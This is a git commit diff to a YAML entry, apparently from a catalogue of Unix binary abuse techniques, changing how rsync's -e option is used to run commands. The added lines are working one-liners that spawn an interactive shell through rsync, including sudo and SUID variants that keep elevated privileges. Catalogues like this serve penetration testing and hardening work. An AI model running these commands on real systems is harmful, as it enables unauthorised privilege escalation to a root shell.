Simplify rsync and add interactive execute

This commit is contained in:
Andrea Cardaci 2018-08-19 10:12:08 +02:00
parent 7822ec33e8
commit acf29564cb

View File

@ -1,9 +1,9 @@
--- ---
functions: functions:
execute-non-interactive: execute-interactive:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile - code: rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
sudo-enabled: sudo-enabled:
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile - code: sudo rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
sudo rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null suid-enabled:
- code: ./rsync -e 'bash -p -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
--- ---